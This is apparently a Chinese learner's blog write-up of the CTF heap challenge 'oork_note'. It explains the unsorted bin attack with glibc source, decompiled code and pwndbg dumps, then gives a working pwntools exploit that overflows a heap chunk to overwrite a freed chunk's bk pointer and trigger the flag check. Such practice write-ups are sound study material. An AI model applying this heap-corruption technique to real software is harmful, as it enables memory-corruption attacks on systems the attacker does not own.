​ 堆题其实是目前比较基础的题,栈题都比较少了貌似…自己的进度有点慢,虽然上学期接触到了堆,但也学的一知半解.

​ 最近上了NeSE创始人、带队老师龚老师的课,老师第一节课给的测试题就是一道堆题,看了看他后面的课件,重点也在堆上,所以觉得可以先把栈什么的稍微放一放了,基础其实差不多了,提升的话,可以慢慢来,先赶紧继续学堆.

题目链接: 本篇博客地址url + oork_note即可

unsorted bin基础知识

参考:https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack/

​ Unsorted Bin Attack 被利用的前提是控制 Unsorted Bin Chunk 的 bk 指针。

​ Unsorted Bin Attack 可以达到的效果是实现修改任意地址值为一个较大的数值。

基本来源

  1. 当一个较大的 chunk 被分割成两半后,如果剩下的部分大于 MINSIZE,就会被放到 unsorted bin 中。
  2. 释放一个不属于 fast bin 的 chunk,并且该 chunk 不和 top chunk 紧邻时,该 chunk 会被首先放到 unsorted bin 中。关于 top chunk 的解释,请参考下面的介绍。
  3. 当进行 malloc_consolidate 时,可能会把合并后的 chunk 放到 unsorted bin 中,如果不是和 top chunk 近邻的话。

攻击原理

     在 [glibc](https://code.woboq.org/userspace/glibc/)/[malloc](https://code.woboq.org/userspace/glibc/malloc/)/[malloc.c](https://code.woboq.org/userspace/glibc/malloc/malloc.c.html) 中的 `_int_malloc` 有这么一段代码,当将一个 unsorted bin 取出的时候,会将 `bck->fd` 的位置写入本 Unsorted Bin 的位置,就是一个很大的值,比如0xffffffffxxxx

​ 换句话说, bck->fd 也就是 bk(也就是要修改的地址,所以溢出修改的chunk的bk应该是要修改的地址-0x10), victim->bk->fd = victim

​ av是当前chunk, (av)->bk = bck,就是当前chunk的bk, 晕了晕了,回头看看源码 victim, av什么的

image-20230303140544704

1
2
3
4
5
/* remove from unsorted list */
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

测试题目 oork_note

​ 一看就是一道堆题,给出了一个菜单.然后会让你输入7次,也就是一周的日记,要输入长度和内容,这里没有问题,注意一个细节,就是你输入的长度会有个操作 v2 += 144; 也就是增大了0x90,这个后面会用到

​ 然后就是编辑和删除操作了,

​ 拿flag其实很明显,就是要把0x6020D4的值修改为一个比167大的值就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int v4; // [rsp+8h] [rbp-8h]
int v5; // [rsp+Ch] [rbp-4h]

sub_4008F6();
puts("Welcome to 997 wellfare! This program records your weekly workloads.");
v4 = 0;
v5 = 0;
while ( v4 <= 6 )
{
printf("Day %d in this weekend.\n", (unsigned int)(v4 + 1));
v5 += sub_400939(v4++);
}
puts("Do you need to edit your note? y/n");
getchar();
if ( getchar() == 121 )
sub_400B62();
if ( dword_6020D4 > 167 )
system("cat ./flag");
else
puts("You are fired, Bye.");
return 0LL;
}


__int64 __fastcall sub_400939(int a1)
{
int v2; // [rsp+1Ch] [rbp-14h] BYREF
void *buf; // [rsp+20h] [rbp-10h]
unsigned __int64 v4; // [rsp+28h] [rbp-8h]

v4 = __readfsqword(0x28u);
printf("\tInput the length of your work note:");
__isoc99_scanf("%d", &v2);
v2 += 144;
buf = malloc(v2);
printf("\tInput context of your work record:");
read(0, buf, v2);
*(&ptr + a1) = buf;
return (unsigned int)((v2 & (rand() + 255)) % 23);
}

​ 下面看一下编辑和删除,删除的话,把指针也赋0了,所以没有double free的问题,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
unsigned __int64 sub_400B62()
{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
v1 = 0;
do
{
while ( 1 )
{
while ( 1 )
{
puts("Input your choice: \n\t1.edit note\n\t2.delete note\n\t0.exit");
__isoc99_scanf("%d", &v1);
if ( v1 != 1 )
break;
sub_400A14();
}
if ( v1 != 2 )
break;
sub_400AEE();
}
}
while ( v1 );
return __readfsqword(0x28u) ^ v2;
}

unsigned __int64 sub_400A14()
{
int v0; // ebx
unsigned int v2; // [rsp+4h] [rbp-1Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-18h]

v3 = __readfsqword(0x28u);
puts("input the note index to edit:");
__isoc99_scanf("%d", &v2);
if ( v2 <= 6 )
{
puts("Input the content:");
if ( *(&ptr + (int)v2) )
{
read(0, *(&ptr + (int)v2), 0x4F0uLL);
}
else
{
v0 = v2;
*(&ptr + v0) = malloc(0x3A0uLL);
read(0, *(&ptr + (int)v2), 0x3A0uLL);
}
}
return __readfsqword(0x28u) ^ v3;
}


unsigned __int64 sub_400AEE()
{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("input the note index to delete:");
__isoc99_scanf("%d", &v1);
free(*(&ptr + v1));
*(&ptr + v1) = 0LL;
return __readfsqword(0x28u) ^ v2;
}

​ 但是这里有个很明显的问题,就是在编辑操作这里,如果编辑地址存在,可以读入0x4f0大小,如果我们申请的chunk大小比这个小,那么就存在了溢出,如果编辑的地址不存在,会重新进行malloc地址,大小为0x3A0

​ 也就是说,如果我们一开始申请一个小的chunk,它后面接一个0x3A0大小的chunk,然后把0x3A0大小的chunk free掉,然后通过溢出,把这个free掉之后的chunk的值修改成我们想要的(把bk改成想修改的地址),然后再重新编辑一下,重新malloc的时候就会又申请到这个free 的chunk(也就是unsorted bin),然后就会触发漏洞

1
2
3
4
5
6
7
8
9
10
if ( *(&ptr + (int)v2) )
{
read(0, *(&ptr + (int)v2), 0x4F0uLL);
}
else
{
v0 = v2;
*(&ptr + v0) = malloc(0x3A0uLL);
read(0, *(&ptr + (int)v2), 0x3A0uLL);
}

构造攻击链

​ 释放一个不属于 fast bin 的 chunk,并且该 chunk 不和 top chunk 紧邻时,该 chunk 会被首先放到 unsorted bin 中。

​ 什么是不属于fast bin的呢??

​ 那我们就第一个值随意,第二个值构造小一点,比如0x20,第三个值构造成0x3A0,然后后面随意,然后删除第三个值,修改第二个值,覆盖掉它,然后再edit第三个值,进行重新申请,触发漏洞获取flag.

​ 这里注意之前所说的,我们给的大小,它实际上会+0x90,所以要申请一个0x3A0 - 0x90 = 0x310 也就是784大小的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x603000
Size: 0xb1

Allocated chunk | PREV_INUSE
Addr: 0x6030b0
Size: 0xc1

Allocated chunk | PREV_INUSE
Addr: 0x603170
Size: 0x3b1

Allocated chunk | PREV_INUSE
Addr: 0x603520
Size: 0xb1

​ 0xc1 193 144 + 32 = 176 多了17, 这个多的16字节是prev_size + size + NMP, 那为什么还多了一字节 因为对齐,在64位平台下,chunk大小一定是0x10的整数倍,那为什么都多了1呢?这里其实不是多了1,是显示的问题,size的话,是前5字节,也就是11000也就是16 + 4 = 20, 然后最后的1是指的P为1,也就是前一个chunk被使用的意思,0是未被使用

1
2
pwndbg> x/bt 0x6030b8
0x6030b8: 11000001

image-20230303143001538

​ 0xb1 177 144 + 12 = 156 多了21,

​ 0x3b1 945 144 + 784 = 928 多了17

​ payload的构造的话,就是填满第2个chunk,然后溢出,填满prev_size,然后修改size为正确值,然后加上bk(要修改的地址)就可以了

​ payload = (0x90 + 0x20) * b”a” + p64(0) + p64(0x3a0+0x1) + p64(0x6020D4)

p64是个啥,8byte, 8字节,64位, 指令一行又是多少..有点晕

p64就是64位机器的编码,把0编码成0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00,占64位,也就是8个字节

这个64位,32位指的是一次处理数据的宽度,和指令长度以及他们的地址没关系

指令的话,占多少字节都是可能的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ r13 rsp 0x7fffffffe560 ◂— 0x1
01:0008│ 0x7fffffffe568 —▸ 0x7fffffffe7b7 ◂— '/home/ubuntu/2yue/ezfmt'
02:0010│ 0x7fffffffe570 ◂— 0x0
03:0018│ 0x7fffffffe578 —▸ 0x7fffffffe7cf ◂— 0x524f4c4f435f534c ('LS_COLOR')
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
► f 0 0x4006e0
────────────────────────────────────────────────────────────────────────────────
pwndbg> x/8bx 0x7fffffffe560
0x7fffffffe560: 0x01 0x00 0x00 0x00 0x00 0x00 0x00 0x00
pwndbg> x/8bx 0x7fffffffe568
0x7fffffffe568: 0xb7 0xe7 0xff 0xff 0xff 0x7f 0x00 0x00


.text:0000000000400BE3
.text:0000000000400BE3 push rbp
.text:0000000000400BE4 mov rbp, rsp
.text:0000000000400BE7 sub rsp, 10h
.text:0000000000400BEB mov eax, 0
.text:0000000000400BF0 call sub_4008F6
.text:0000000000400BF5 mov edi, offset aWelcomeTo997We ; "Welcome to 997 wellfare! This program r"...
.text:0000000000400BFA call _puts
.text:0000000000400BFF mov [rbp+var_8], 0
.text:0000000000400C06 mov [rbp+var_4], 0
.text:0000000000400C0D jmp short loc_400C37
.text:0000000000400C0F ; ---------------------------------------------------------------------------
.text:0000000000400C0F

​ 所以 x/20wx 0xxxxxxxxxxxx 显示的一行其实是16字节, 128位, 所以左边的地址加了16,

1
2
3
4
5
pwndbg> x/20wx 0x6030b0
0x6030b0: 0x00000000 0x00000000 0x000000b1 0x00000000
0x6030c0: 0x000a3231 0x00000000 0x00000000 0x00000000
0x6030d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x6030e0: 0x00000000 0x00000000 0x00000000 0x00000000

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
context.log_level= "debug"

def add(length,context):
io.sendlineafter("note:",length)
io.sendlineafter("record:",context)

def delete(num):
io.sendlineafter("exit","2")
io.sendlineafter("delete:",num)

def edit(num,context):
io.sendlineafter("exit","1")
io.sendlineafter("edit:",num)
io.sendlineafter("content:",context)
io = process("./oork_note")
context.terminal = ['tmux', 'splitw', '-h']
gdb.attach(io,"b *0x7ffff7af2031")
add("32",b"12")
add("32",b"aaaa")
add("784",b"aaaaa")
add("32",b"12")
add("32",b"12")
add("32",b"12")
add("32",b"12")
io.sendlineafter("note? y/n","y")
delete("2")
#payload = (0x90 + 0x20) * b"a" + p64(0) + p64(0x3a0+0x1) + p64(0x6020D4)
#payload = (0x90 + 0x20) * b"a" + p64(0) + p64(0x3a0+0x1 + 0x10) +p64(0)+ p64(0x6020D4 - 0x10)
addr = 0x06020D4 - 0x10
payload = b"a"*176 + p64(0) + p64(0x3a1 + 0x10) + p64(0) + p64(addr)
edit("1",payload)
edit("2",b"aaaa")
pause()
print(io.recv(1024))
#io.sendline("0")
#print(io.recv(1024))

​ 你得理清楚哪里需要用b哪里不需要

和libc版本有关吗? 感觉应该没问题了的,但是打不了

1
2
3
4
5
6
7
8
9
10
11
12
13
0x6033d0:       0x00000000      0x00000000      0x000003b1      0x000
\n'00000
[*] Paused│0x6033e0: 0x61616161 0x0000000a 0x00000000 0x000
(press an│00000
y to conti│0x6033f0: 0x0000000a 0x00000000 0x00000000 0x000
nue) │00000




0x400bb8 call 0x400a14 <0x400a14> input the note index to edit
sh.sendline("1") │
[DEBUG] Sent 0x2 bytes: │ ► 0x400bbd jmp 0x400bca <0x400bca>

​ 看了一下申请的chunk大小不正常,怀疑是发送过去的数据有问题,恩,sendline有问题

mov rax, qword ptr fs:[0x28] 这个是canary吧

https://blog.csdn.net/counsellor/article/details/81005101

addr = 0x06020D4 - 0x10 为啥要-0x10呢?? 因为是要得到chunk的头吧,不是数据头

怎么负数了… addr = 0x06020D4 - 0x12 多减点值,让它覆盖的时候能覆盖上就可以了

image-20230601102322660

gdb + pwntools调试